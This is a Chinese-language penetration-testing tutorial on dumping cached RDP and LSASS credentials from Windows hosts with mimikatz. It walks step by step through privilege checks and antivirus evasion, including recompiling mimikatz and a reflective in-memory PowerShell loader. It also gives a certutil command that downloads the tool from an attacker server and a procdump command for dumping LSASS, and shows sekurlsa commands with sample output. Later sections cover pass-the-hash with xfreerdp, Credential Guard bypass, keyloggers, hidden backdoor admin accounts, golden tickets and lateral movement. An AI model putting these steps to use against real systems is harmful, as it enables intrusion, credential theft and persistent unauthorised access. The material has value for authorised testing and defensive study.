内网渗透实战:利用mimikatz提取Windows RDP缓存凭据的原理与操作指南
1. 项目概述与核心价值
在内部网络的安全评估或渗透测试中,获取已登录用户的凭据往往是横向移动和权限提升的关键一步。远程桌面协议(RDP)作为管理员和用户最常用的远程管理工具之一,其连接历史中缓存的凭据是一个极具价值的目标。很多朋友可能都遇到过这样的场景:在获得一台内网主机的初始访问权限后,发现管理员曾通过这台机器远程管理过其他服务器,如果能拿到这些RDP连接的密码,就能直接“接管”那些更重要的资产。这正是我们今天要深入探讨的核心实战技巧。
这个项目,就是围绕如何在内网环境中,利用经典的渗透测试工具mimikatz,系统性地提取Windows系统中缓存的RDP连接凭据。这不仅仅是运行一条命令那么简单,它涉及到对Windows安全子系统、凭据存储机制的理解,以及在真实、受限环境下的工具部署、执行和结果解析。网上虽然有很多零散的教程,但往往只讲命令,不讲背后的原理和实战中必然会遇到的坑。我将结合自己多次内网测试的经验,从原理到实操,从工具准备到结果利用,为你梳理出一套完整、可靠、可复现的指南。无论你是安全工程师、红队成员,还是对系统安全感兴趣的研究者,掌握这套方法都能让你对内网凭据的“狩猎”能力提升一个档次。
2. 核心原理:Windows凭据缓存与mimikatz的工作机制
要成功提取凭据,首先得知道它们藏在哪里,以及mimikatz是如何把它们“挖”出来的。这能帮助你在命令失败时,快速定位问题。
2.1 Windows的凭据管理器与RDP缓存
当你在Windows中使用“远程桌面连接”(mstsc.exe)并勾选了“记住我的凭据”时,系统并不会明文保存你的密码。相反,它会利用Windows的凭据管理器(Credential Manager)来存储这些信息。凭据管理器是Windows安全体系的一部分,旨在安全地存储网站、应用程序、网络资源的用户名和密码。
对于RDP连接,其凭据通常存储在Windows Vault中。更具体地说,它们与特定的“目标”(即RDP服务器的地址或名称)关联。这些凭据经过加密,其解密密钥与当前登录用户的Windows登录会话(Logon Session)紧密绑定。这意味着,只有在同一用户会话下,才能解密出这些凭据。这就是为什么我们通常需要在目标用户的上下文(或具有该用户权限的进程)中运行mimikatz。
2.2 mimikatz如何提取凭据
mimikatz之所以强大,是因为它直接与Windows操作系统的核心安全组件交互,特别是本地安全机构子系统服务(LSASS)。LSASS进程的内存中,包含了当前登录会话的明文密码、NTLM哈希、Kerberos票据等大量敏感信息。mimikatz通过注入到高权限进程(或自身以高权限运行),从LSASS进程的内存中读取和解析这些数据结构。
对于RDP连接凭据,mimikatz主要关注两个地方:
- LSASS进程内存:如果用户通过RDP连接并选择了“记住密码”,其凭据的哈希或明文副本可能会被加载到LSASS的内存空间中。
- Windows Vault:如前所述,记住的RDP凭据也存储在加密的Vault中。mimikatz可以调用Windows的Credential Manager API,在拥有正确用户上下文的情况下,解密并提取这些凭据。
sekurlsa::credman和sekurlsa::rdp是mimikatz中专门用于处理这类凭据的模块。它们会遍历LSASS中的相关数据结构,寻找与远程桌面相关的凭据信息。
注意:现代Windows系统(如Windows 10/11, Server 2016+)默认启用了“受保护的进程”或“凭据保护”(Credential Guard)等安全机制,这会使直接从LSASS内存中提取明文密码变得困难。但这并不意味着此方法完全失效,它仍然可以提取NTLM哈希、PIN码或部分缓存的凭据,且对于未启用这些强化措施的系统(如许多内网服务器)依然非常有效。
3. 实战环境准备与工具部署
纸上谈兵终觉浅,我们直接进入实战环节。假设我们已经通过某种方式(例如,利用一个应用漏洞或钓鱼攻击)获得了一台内网Windows主机(Windows 10/11 或 Windows Server 2012 R2+)的初始立足点,并且当前权限允许我们执行命令。
3.1 初始权限评估与提升
在尝试任何操作前,第一步永远是看清自己的位置。
检查当前用户权限:打开命令行(cmd)或PowerShell,输入
whoami /priv。我们需要关注的关键权限包括:- SeDebugPrivilege:调试程序的权限。这是mimikatz读取LSASS内存所必需的。通常,管理员组成员默认拥有此权限。
- SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege:如果当前不是管理员,你可能需要利用这些权限进行提权(例如,使用Juicy Potato,PrintSpoofer等漏洞)。
判断系统类型与防御措施:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version":了解操作系统版本。- 检查是否存在安全软件(AV/EDR)。可以尝试运行
tasklist或Get-Process查看进程列表,寻找熟悉的AV进程名。 - 检查Credential Guard是否启用:
reg query HKLM\System\CurrentControlSet\Control\Lsa /v RunAsPPL。如果返回0x1,则LSASS作为受保护进程运行,增加了提取难度。
如果当前不是管理员且没有调试权限,你可能需要先进行本地提权。这不是本文重点,但请记住,没有足够的权限,mimikatz的核心功能将无法使用。
3.2 mimikatz的获取与免杀处理
在内网环境中,直接上传一个从网上下载的mimikatz可执行文件,极有可能被终端安全软件瞬间查杀。
- 本地编译:最安全的方式是从GitHub获取mimikatz的源代码,在本地使用Visual Studio进行编译。你可以修改一些函数名、字符串常量(即“混淆”),以绕过基于静态特征的检测。
- 内存加载:不将mimikatz写入磁盘。可以使用PowerShell脚本或C#加载器,将mimikatz的二进制文件直接反射加载到内存中执行。例如,使用
Invoke-ReflectivePEInjection或自己编写一个简单的C#程序。 - 使用替代工具或模块:有时,可以直接使用PowerShell版的mimikatz功能模块,或者使用其他工具如
SafetyKatz、SharpKatz(C#实现)等,它们可能具有不同的特征。 - 分离加载:将mimikatz的功能拆解,只上传必要的DLL文件,并通过rundll32或其他方式调用。
实操心得:在一次测试中,目标主机安装了某主流杀毒软件。直接上传mimikatz.exe立刻被删除。我转而使用一个经过简单源码修改(改了版本信息字符串和几个导出函数名)后重新编译的版本,成功绕过静态检测。动态行为上,通过先在测试机暂停AV进程(需管理员权限)再执行,也成功了。但更优雅的方式是使用内存加载技术。
这里给出一个非常简单的、用于概念验证的免杀思路(实际环境需更复杂):
- 将mimikatz.exe进行base64编码。
- 在目标机器上,通过PowerShell一行命令解码并内存执行(注意,这仍可能触发行为检测):
$PEBytes = [System.Convert]::FromBase64String("你的base64编码字符串") $Assembly = [System.Reflection.Assembly]::Load($PEBytes) $EntryPoint = $Assembly.EntryPoint $EntryPoint.Invoke($null, (, [string[]] ('privilege::debug', 'sekurlsa::logonpasswords', 'exit')))
3.3 上传与执行准备
获得合适的mimikatz二进制文件后,需要将其上传到目标机器。
- 上传路径选择:避免使用根目录或常见的Program Files目录。可以选择用户临时目录
%TEMP%,或者一个看起来不显眼的应用程序数据目录,如C:\Windows\Tasks\(有时AV监控较弱)或C:\Windows\System32\spool\drivers\color\。使用cd %TEMP%切换到临时目录。 - 上传方法:根据你的初始访问方式而定。
- Web Shell:使用文件上传功能。
- 命令行:可以使用
certutil -urlcache -split -f http://你的服务器/mimikatz.exe mimikatz.exe或 PowerShell的Invoke-WebRequest。 - SMB/文件共享:如果已建立SMB连接,可以直接复制。
4. 核心操作:使用mimikatz提取RDP凭据
假设我们已经以管理员权限(或具有SeDebugPrivilege的权限)在目标机器的命令行下,并且mimikatz工具(这里假设文件名为mimi.exe)已位于当前目录。
4.1 标准凭据提取流程
运行mimikatz,并依次执行以下命令:
# 启动mimikatz .\mimi.exe # 在mimikatz交互界面中,首先提升权限到debug privilege::debug # 如果成功,会看到“Privilege '20' OK”的输出。这是所有后续操作的基础。 # 核心命令:提取所有登录会话的凭据,这包含了RDP、网络登录等多种凭据 sekurlsa::logonpasswords这条sekurlsa::logonpasswords命令会输出大量信息,包括:
- Authentication Id:认证标识符。
- Session:会话类型。
- User Name和Domain:用户名和域。
- Logon Server和Logon Time。
- SID:安全标识符。
- msv:包含NTLM哈希(NT hash)和LM哈希(如果存在)。
- tspkg/wdigest:可能包含明文密码(在旧系统或特定配置下)。
- kerberos:包含Kerberos票据相关信息。
- ssp/credman:这里就可能包含缓存的凭据,特别是来自Credential Manager的。
你需要仔细在输出中寻找与远程桌面相关的条目。通常,用户名可能是目标服务器的管理员账号,域名可能是服务器名或域。
4.2 针对性提取RDP相关凭据
为了更精准地获取RDP缓存,mimikatz提供了专门的模块:
# 在mimikatz交互界面中执行 sekurlsa::rdp这个命令会专门扫描并输出与RDP协议相关的凭据信息,格式更清晰。
# 另一个针对性更强的命令,用于提取凭据管理器中的内容 sekurlsa::credmansekurlsa::credman会列出当前用户通过Credential Manager保存的所有凭据,其中就包括那些勾选了“记住我的凭据”的RDP连接。输出会明确显示“Target: TERMSRV/服务器名或IP”,以及对应的用户名和密码(如果成功解密)。
实操现场记录:在一次针对Windows Server 2019的测试中,我先运行了sekurlsa::logonpasswords,输出信息很多,需要仔细筛选。随后运行sekurlsa::credman,直接清晰地列出了三条记录:
[CredMan] Credential (session:0, target:TERMSRV/192.168.10.20, user:Administrator) * Password (hex) : ... * Password : MyServerAdminPass123!这比在logonpasswords的海量输出里翻找高效得多。
4.3 结果解析与利用
成功提取后,你可能会获得以下几种形式的凭据:
- 明文密码:最理想的情况,可以直接用于RDP登录。
- NTLM哈希(NT hash):形如
32位十六进制字符串(如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0的后半部分)。你可以使用“哈希传递”(Pass-the-Hash, PtH)攻击,在不破解密码的情况下,直接利用这个哈希进行身份验证。工具如xfreerdp就支持PtH:xfreerdp /v:目标IP /u:Administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0 - Kerberos票据:如果是在域环境中,可能会提取到TGT(票据授予票据)或服务票据。你可以使用mimikatz的
kerberos::ptt命令将票据注入到当前会话,从而直接访问相关服务。
5. 常见问题、错误排查与进阶技巧
实战永远不会一帆风顺。下面是我遇到过的典型问题及解决方法。
5.1 常见错误与解决方案
| 问题/错误信息 | 可能原因 | 排查与解决思路 |
|---|---|---|
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) | 权限不足,无法打开LSASS进程。 | 1. 确认当前进程是否以管理员身份运行。 2. 检查 whoami /priv是否包含SeDebugPrivilege且已启用。3. 可能被安全软件拦截。尝试先暂停或绕过AV/EDR。 |
运行sekurlsa::logonpasswords后无明文密码,只有哈希。 | 系统启用了WDigest禁用策略或Credential Guard。 | 1. 检查WDigest设置:reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential。值为0表示禁用。2. 对于哈希,转向Pass-the-Hash攻击。明文密码并非唯一利用方式。 |
sekurlsa::credman输出为空或没有RDP凭据。 | 1. 用户从未保存过RDP凭据。 2. 凭据存储在“Windows凭据”而非“普通凭据”中,或存储为“证书”。 3. 当前用户上下文不对。 | 1. 使用cmdkey /list命令查看当前用户存储的所有普通凭据,确认是否存在RDP条目。2. 尝试以其他用户身份(如通过 runas或进程注入)运行mimikatz。 |
| mimikatz运行后系统蓝屏或崩溃。 | 1. mimikatz版本与系统不兼容。 2. 系统安装了不兼容的安全软件或驱动。 3. 直接读取LSASS触发了系统保护机制。 | 1. 尝试使用更新或更旧版本的mimikatz。 2. 在测试环境(如虚拟机)中先验证兼容性。 3. 考虑使用更温和的方式,如使用Procdump将LSASS内存转储到本地,再在分析机器上用mimikatz读取dump文件: procdump.exe -accepteula -ma lsass.exe lsass.dmp |
5.2 绕过Credential Guard等高级防护
对于启用了Credential Guard(CG)或LSA保护(RunAsPPL)的系统,直接读取LSASS内存会失败。
- 利用漏洞或配置错误:寻找允许禁用CG的组策略设置(通常需要重启),或者利用驱动漏洞加载未签名的驱动来绕过保护(如
mimidrv项目,但需要管理员权限并能够加载驱动)。 - 转向其他攻击面:如果无法从LSASS提取,可以尝试:
- DCSync攻击:如果你已经获得了域管理员权限,可以直接让域控制器向你同步指定用户的密码哈希,无需触碰目标主机的LSASS。
- Kerberoasting:请求服务票据并离线破解。
- 查找明文配置文件:搜索用户目录、安装目录下是否有包含密码的
*.config,*.xml,*.txt,*.vnc,.rdp文件等。 - 键盘记录:部署键盘记录器,等待用户再次输入RDP密码。
- 使用更底层的工具:如使用带有特殊驱动的mimikatz版本(
mimikatz+mimidrv.sys),但这对环境要求苛刻,且动静很大。
5.3 权限维持与横向移动
提取到凭据后,你的工作才刚刚开始。
- 密码复用测试:很多人会在多台机器使用相同或相似的密码。用得到的密码/哈希尝试登录内网其他常见服务器(如文件服务器、数据库服务器、其他域控等)。
- 构建跳板:使用获取的凭据,通过RDP或PsExec等方式登录到下一台主机。在那台主机上,重复本指南的流程,可能发现新的RDP连接缓存,从而像“滚雪球”一样在内网中横向移动。
- 创建后门账户:在已控制的主机上,添加一个隐藏的管理员账户或“金票”(Golden Ticket,域环境中),以便长期持久化访问。
- 信息收集:不要只盯着密码。在成功RDP登录的机器上,查看文档、浏览器历史、邮件客户端、共享文件夹,往往能发现更多有价值的信息和通往更核心区域的路径。
我个人在实际操作中的体会是,内网渗透就像一场信息拼图游戏。RDP凭据提取是其中一块关键拼图,但它很少孤立存在。成功的渗透测试员,需要将凭据提取、漏洞利用、信息收集、横向移动和权限维持等技术流畅地结合起来,并时刻保持对防御方(AV/EDR、日志、网络设备)的警惕。每一次执行sekurlsa::credman并成功看到密码的那一刻,都意味着攻击链的又一次成功延伸,同时也提醒着我们,作为防御方,必须严格限制凭据的缓存、强制使用强认证方式(如双因素认证),并积极监控异常的身份验证事件。安全是一场永不停歇的攻防博弈,而理解攻击者的每一招每一式,正是我们构筑更坚固防线的基础。
